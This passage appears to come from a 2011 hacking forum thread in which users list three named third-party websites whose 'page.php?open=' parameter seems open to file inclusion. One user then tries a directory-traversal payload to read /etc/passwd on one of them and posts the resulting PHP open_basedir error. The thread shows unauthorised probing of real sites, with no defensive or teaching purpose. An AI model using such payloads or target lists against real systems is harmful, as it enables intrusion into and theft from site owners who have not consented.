[http://www.khaocookingschool.com/photo/page.php?open=http://www.google.ca/
http://eropa2011.nida.ac.th/page.php?open=http://www.google.ca/
http://www.wealth360degree.com/page.php?open=http://www.google.ca/](http://www.khaocookingschool.com/photo/page.php?open=http://www.google.ca/http://eropa2011.nida.ac.th/page.php?open=http://www.google.ca/http://www.wealth360degree.com/page.php?open=http://www.google.ca/)

does the error message say anything about this?

thanks?

Kanuusan - August 1, 2011, 1:11 am

<http://www.khaocookingschool.com/photo/page.php?open=../../../../../../../../etc/passwd>

Warning: include() [function.include]: open_basedir restriction in effect.
File(../../../../../../../../etc/passwd.php) is not within the allowed path(s):
(/home/www/virtual/khaocookingschool.com/:/usr/share/php:/tmp) in
/home/www/virtual/khaocookingschool.com/htdocs/photo/page.php on line 34

It's restricted to some directories.

pwntoken - August 1, 2011, 3:32 am

Virtual directory listings are not allowed. LOL
